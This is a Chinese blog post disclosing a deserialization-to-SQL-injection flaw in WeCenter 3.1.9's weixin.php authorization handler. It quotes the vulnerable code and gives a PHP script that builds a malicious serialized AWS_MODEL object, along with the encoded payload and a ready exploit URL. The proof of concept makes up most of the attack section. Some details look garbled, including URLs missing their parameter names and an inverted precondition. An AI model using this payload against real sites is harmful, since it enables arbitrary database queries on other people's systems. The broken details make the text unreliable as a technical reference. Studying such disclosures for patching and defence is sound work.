欢迎光临
我们一直在努力

wecenter 3.1.9 /app/m/weixin.php 反序列化造成SQL注入漏洞

wecenter 3.1.9 /app/m/weixin.php 文件中,对传入的参数反序列化后直接构造SQL语句进行查询,导致SQL注入漏洞

漏洞文件:/app/m/weixin.php:110
相关代码


public function authorization_action() {     $this->model('account')->logout();     unset(AWS_APP::session()->WXConnect);     if (get_setting('weixin_account_role') != 'service')     {         H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));     }     else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')     {         if ($_GET['state'] == 'OAUTH')         {             $access_token = unserialize(base64_decode($_GET['access_token']));         }      ...

上面这句话将$_GET[‘access_token’]解码以后进行反序列化。当然这个点存在利用条件,那就是get_setting(‘weixin_account_role’) != ‘service’,需要后台设置了微信认证服务号,

这里有__destruct函数,我们可以看到,这里直接遍历了_shutdown_query对象,将其值传入query直接执行。

明显存在一个任意SQL语句执行漏洞,只要我生成一个AWS_MODEL类对象,再其销毁的时候就能执行任意SQL语句。

构造的反序列化对象是一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象。 代码如下:


<?php class AWS_MODEL {     private $_shutdown_query;     function __construct()     {         $this->_shutdown_query = [             "SELECT updatexml(1,concat(0xa,md5(1)),1)"         ];     } } $arr = [     'errcode' => 1,     new AWS_MODEL() ]; echo urlencode(base64_encode(serialize($arr))); ?>

生成出来的:


YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D

完整POC:


?/m/weixin/authorization/=OAUTH=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D

例子:


http://xxxxxxxxx/?/m/weixin/authorization/=OAUTH=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSxtZDUoMSkpLDEpIjt9fX0%3D

2435020833 wecenter 3.1.9 /app/m/weixin.php 反序列化造成SQL注入漏洞

未经允许不得转载:杂术馆 » wecenter 3.1.9 /app/m/weixin.php 反序列化造成SQL注入漏洞
分享到: 更多 (0)